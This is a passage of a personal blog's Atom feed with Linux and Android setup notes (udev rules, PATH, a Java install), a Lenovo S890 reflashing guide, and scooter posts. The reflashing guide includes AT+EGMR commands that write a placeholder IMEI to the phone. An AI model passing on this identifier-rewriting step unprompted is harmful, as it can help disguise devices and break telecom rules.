pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0502”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0b05”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”413c”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0489”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”091e”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”18d1”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0bb4”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”12d1”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”24e3”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”2116”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0482”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”17ef”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”1004”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”22b8”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0409”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”2080”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0955”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”2257”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”10a9”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”1d4d”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0471”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”04da”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”05c6”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”1f53”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”04e8”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”04dd”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0fce”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”0930”, MODE=”0666”&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SUBSYSTEM==”usb”, ATTRS{idVendor}==”19d2”, MODE=”0666”&lt;br /&gt;&lt;br /&gt;and then ran&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sudo cp /tmp/android.rules /etc/udev/rules.d/51-android.rules&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sudo chmod 644   /etc/udev/rules.d/51-android.rules&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sudo chown root. /etc/udev/rules.d/51-android.rules&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sudo service udev restart&lt;br /&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;sudo killall adb&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Adding to environment PATH in Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/03/21/Adding-to-environment-PATH-in-Linux/"/>
   <updated>2015-03-21T08:27:22+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/03/21/Adding-to-environment-PATH-in-Linux</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;To add any application binaries to PATH, modify the application folder path.&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    export PATH=$PATH:/opt/apps&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;    export PATH=$PATH:/home/bin&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;    export PATH=$PATH:/home/raf/Android/Sdk/platform-tools&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt; To see what’s in PATH, use&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;echo $PATH&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Installing Oracle Java 8 on Kali Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/03/07/Installing-Oracle-Java-8-on-Kali-Linux/"/>
   <updated>2015-03-07T08:51:34+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/03/07/Installing-Oracle-Java-8-on-Kali-Linux</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: Georgia, Times New Roman, serif;&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;echo “deb &lt;/span&gt;&lt;a href=&quot;http://ppa.launchpad.net/webupd8team/java/ubuntu&quot; style=&quot;background-color: #fafafa; color: #417394; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;http://ppa.launchpad.net/webupd8team/java/ubuntu&lt;/a&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt; trusty main” &amp;gt;&amp;gt; /etc/apt/sources.list&lt;/span&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;echo “deb-src &lt;/span&gt;&lt;a href=&quot;http://ppa.launchpad.net/webupd8team/java/ubuntu&quot; style=&quot;background-color: #fafafa; color: #417394; outline: 0px;&quot; target=&quot;_blank&quot;&gt;http://ppa.launchpad.net/webupd8team/java/ubuntu&lt;/a&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt; precise main” &amp;gt;&amp;gt; /etc/apt/sources.list&lt;/span&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys EEA14886&lt;/span&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;sudo apt-get update&lt;/span&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;br style=&quot;background-color: #fafafa; color: #333333;&quot; /&gt;&lt;span style=&quot;background-color: #fafafa; color: #333333;&quot;&gt;sudo apt-get install oracle-java8-installer&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Re-installing official ROM for Lenovo S890</title>
   <link href="https://www.instagram.com/zeroquitgenes//2015/01/24/Re-installing-official-ROM-for-Lenovo-S890/"/>
   <updated>2015-01-24T21:36:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2015/01/24/Re-installing-official-ROM-for-Lenovo-S890</id>
   <content type="html">&lt;div&gt;I must admit, fixing this phone is a pain in the arse a little bit, especially after I followed the instructions as close as 1, 2, 3. First, it was about installing the drivers. Then, it turned out, the version of the app in used matters too otherwise the flashing will keep failing.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Use :&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;&lt;ol&gt;&lt;li&gt;SP_Flash_Tool_v3.1332.0.187.rar &lt;br /&gt;(Link: http://chinagadgetsreviews.blogspot.ro/2013/12/download-sp-flash-tool-v313320187.html)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Lenovo_S890_ALL_Driver&lt;br /&gt;&lt;/li&gt;&lt;li&gt;S890_S511_LANG_EN &lt;br /&gt;(Link: http://www.needrom.com/download/lenovo-s890-2/)&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Installing ROM using SP_Flash_Tool&lt;/b&gt;&lt;br /&gt;Note:Video https://www.youtube.com/watch?v=LcO4yYNkTl8&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Problem 1 : Drivers installation&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;Firstly Download MTK USB VCOM Drivers for MTK6577&lt;/div&gt;&lt;div&gt;Now open Device Manager (in Control Panel)&lt;/div&gt;&lt;div&gt;Right click on PC name and then click on Add legacy hardware&lt;/div&gt;&lt;div&gt;Now in Add Hardware Wizard click on Next&lt;/div&gt;&lt;div&gt;Click Install the Hardware that i manually select from a list (Advanced)&lt;/div&gt;&lt;div&gt;Click Show All Devices&lt;/div&gt;&lt;div&gt;Click Next&amp;nbsp;&lt;/div&gt;&lt;div&gt;Click Have a Disk&lt;/div&gt;&lt;div&gt;Browse, Now select the drivers that have been downloaded (inf file)&lt;/div&gt;&lt;div&gt;Now click on Next on the wizard to install the drivers&lt;/div&gt;&lt;div&gt;When promoted for security issue just click on install any anyway to finish the driver installation.&lt;/div&gt;&lt;div&gt;After clicking on Finish, Restart the PC&amp;nbsp;&lt;/div&gt;&lt;div&gt;Note: http://thebroodle.com/microsoft/windows/how-to-install-mtk65xx-preloader-usb-vcom-drivers-in-windows/&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Problem 2: S_FT_FORMAT_FAIL (4010)&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Make sure to use SP_Flash_Tool_v3.1332.0.187. Other version may not work (most of them didn&apos;t).&lt;/div&gt;
&lt;div&gt;Open the original ROM scatter file using notepad++.&lt;/div&gt;
&lt;div&gt;Delete (__NODL_) at __NODL_PMT 0x700000 line and leave it to PMT 0x700000.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;Save it as a new file.&lt;/div&gt;
&lt;div&gt;Open SP Flash Tool and open the edited scatter file.&lt;/div&gt;
&lt;div&gt;Format using &quot;Auto Format Flash&quot; and choose &quot;format whole flash except Bootloader&quot;&lt;/div&gt;
&lt;div&gt;Wait until green circle appeared&amp;nbsp;&lt;/div&gt;
&lt;div&gt;Re-install the ROM&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;Problem 3: Invalid IMEI, no calls, no SMS, no data (after successfully installed ROM)&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;Root with KingoRoot (http://www.kingoapp.com)&lt;/div&gt;
&lt;div&gt;Install Mobileuncletools from PlayStore&lt;/div&gt;
&lt;div&gt;Choose Engineer mode&lt;/div&gt;
&lt;div&gt;Choose Engineer Mode (MTK)&lt;/div&gt;
&lt;div&gt;Choose Connectivity TAB&lt;/div&gt;
&lt;div&gt;Choose CDS Information&lt;/div&gt;
&lt;div&gt;Choose Radio Information&lt;/div&gt;
&lt;div&gt;Choose phone 1&lt;/div&gt;
&lt;div&gt;Edit &quot;AT+&quot; to become &quot;AT +EGMR=1,7,&quot;123456789012345&quot;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;Press &quot;send AT Command&quot;&lt;/div&gt;
&lt;div&gt;Press Back&lt;/div&gt;
&lt;div&gt;&lt;div&gt;Edit &quot;AT+&quot; to become &quot;AT +EGMR=1,7,&quot;123456789012345&quot;&amp;nbsp;&lt;/div&gt;&lt;div&gt;Press &quot;send AT Command&quot;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;Exit and reboot.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;Note: Video&amp;nbsp;https://www.youtube.com/watch?v=B40C2hoxn8U&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: If you have other Lenovo phone, you can search in here for official and custom made ROM&lt;br /&gt;http://www.android.gs/download-lenovo-stock-rom/&lt;/div&gt;
&lt;div&gt;http://www.needrom.com/&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Modenas Kriss 100</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/10/22/Modenas-Kriss-100/"/>
   <updated>2014-10-22T18:24:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/10/22/Modenas-Kriss-100</id>
   <content type="html">&lt;p&gt;Sold my Kriss. Let these photos just be up here :-)&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-qVn0sPePE7U/VEf2SuuLIiI/AAAAAAAABH4/hjYXztoz1as/s1600/IMG_20141009_225708.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-qVn0sPePE7U/VEf2SuuLIiI/AAAAAAAABH4/hjYXztoz1as/s1600/IMG_20141009_225708.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-lXUP-5prebM/VEf2SqmSloI/AAAAAAAABH8/3LAfrxsGHKY/s1600/IMG_20141009_225747.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-lXUP-5prebM/VEf2SqmSloI/AAAAAAAABH8/3LAfrxsGHKY/s1600/IMG_20141009_225747.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-1uEq1HD27Rk/VEf2SqMH_jI/AAAAAAAABIA/LFe5bFqtq5s/s1600/IMG_20141009_225808.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-1uEq1HD27Rk/VEf2SqMH_jI/AAAAAAAABIA/LFe5bFqtq5s/s1600/IMG_20141009_225808.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-x4JDkFjqfvs/VEf2TkELX8I/AAAAAAAABIM/xaCyxiRaeMw/s1600/IMG_20141009_225817.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-x4JDkFjqfvs/VEf2TkELX8I/AAAAAAAABIM/xaCyxiRaeMw/s1600/IMG_20141009_225817.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-IpjSgdPSKOw/VEf2UJcvDiI/AAAAAAAABIU/d86szShwJFo/s1600/IMG_20141009_225833.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-IpjSgdPSKOw/VEf2UJcvDiI/AAAAAAAABIU/d86szShwJFo/s1600/IMG_20141009_225833.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Got myself a new ride</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/10/17/Got-myself-a-new-ride/"/>
   <updated>2014-10-17T19:01:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/10/17/Got-myself-a-new-ride</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;I sold the old 2000 Modenas Kriss for RM1300 and got myself a 2008 Modenas Elegan 150 instead. &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;So far, the money is worth it! &lt;br /&gt;&lt;br /&gt;The pickup is good, the engine is fine, definitely the best of all scooters I&apos;ve seen and tested the past weeks. The handle is a bit shaky at 100km/h but I often cruise below that.&lt;br /&gt;&lt;br /&gt;Also, this thing is also unbelievably fuel-savvy. I went 100km on 2-person ride with only RM10 (and still about half left in the tank)&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-ifgSycZnGL0/VEFi1Zs7yQI/AAAAAAAABG4/WkB99gWa5xw/s1600/IMG_20141017_115938.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-ifgSycZnGL0/VEFi1Zs7yQI/AAAAAAAABG4/WkB99gWa5xw/s1600/IMG_20141017_115938.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-atthV6Wr14k/VEFi1SRKH4I/AAAAAAAABG8/ZRoqjZtwE3k/s1600/IMG_20141017_115948.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-atthV6Wr14k/VEFi1SRKH4I/AAAAAAAABG8/ZRoqjZtwE3k/s1600/IMG_20141017_115948.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-Di2RH-BJmxQ/VEFi0-jtJ6I/AAAAAAAABG0/rIf8rRGbEws/s1600/IMG_20141017_120000.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-Di2RH-BJmxQ/VEFi0-jtJ6I/AAAAAAAABG0/rIf8rRGbEws/s1600/IMG_20141017_120000.jpg&quot; height=&quot;320&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-j0u2Dk2fXBI/VEFi2tQxS7I/AAAAAAAABHQ/piTjlxKXLik/s1600/IMG_20141017_165840.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-j0u2Dk2fXBI/VEFi2tQxS7I/AAAAAAAABHQ/piTjlxKXLik/s1600/IMG_20141017_165840.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;My friend’s (with the box) and mine. I thought to buy that one but the owner is not in Malaysia. &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-KvAAOFtgrh0/VEFi3COX_yI/AAAAAAAABHU/UI1K2vQG0ig/s1600/IMG_20141017_165909.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-KvAAOFtgrh0/VEFi3COX_yI/AAAAAAAABHU/UI1K2vQG0ig/s1600/IMG_20141017_165909.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;They look the same but they are actually different makes.&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-yXwYH-oG7Fw/VEFi2WbWq5I/AAAAAAAABHM/8IoE0hGkUv8/s1600/IMG_20141017_120024.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-yXwYH-oG7Fw/VEFi2WbWq5I/AAAAAAAABHM/8IoE0hGkUv8/s1600/IMG_20141017_120024.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-V24PQi4YRzc/VEFi3RGKHGI/AAAAAAAABHc/I_H76KMAzbQ/s1600/IMG_20141017_165937.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-V24PQi4YRzc/VEFi3RGKHGI/AAAAAAAABHc/I_H76KMAzbQ/s1600/IMG_20141017_165937.jpg&quot; height=&quot;180&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;The first 100 km. &amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;Will definitely get it for its first time service soon. Maybe a monorack and a box. &amp;lt;/div&amp;gt;&lt;br /&gt;On a side note, I hereby concur that I was seduced to the scooter world by Bro Syed Aljunid, who currently rides a Sym Maxsym 400.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Android Studio can't find resources</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/20/Android-Studio-can't-find-resources/"/>
   <updated>2014-09-20T18:39:53+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/20/Android-Studio-can't-find-resources</id>
   <content type="html">&lt;p&gt;I just started using Android Studio (had too much of Eclipse lately), just to get myself comfortable with it.&lt;br /&gt;&lt;br /&gt;For some reason, I kept having these problems where Android Studio failed to locate the new files that I just dropped into the project folder.&lt;br /&gt;&lt;br /&gt;Well, this fix it&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;File&amp;gt;&amp;gt;Invalidate Caches\Restart&amp;gt;&amp;gt;Invalidate and Restart.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;background-color: white; border: 0px; clear: both; font-family: Arial, &apos;Liberation Sans&apos;, &apos;DejaVu Sans&apos;, sans-serif; font-size: 14px; line-height: 17.804800033569336px; margin-bottom: 1em; padding: 0px; vertical-align: baseline;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Aliffah's FYP Presentation</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/13/Aliffah's-FYP-Presentation/"/>
   <updated>2014-09-13T10:27:40+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/13/Aliffah's-FYP-Presentation</id>
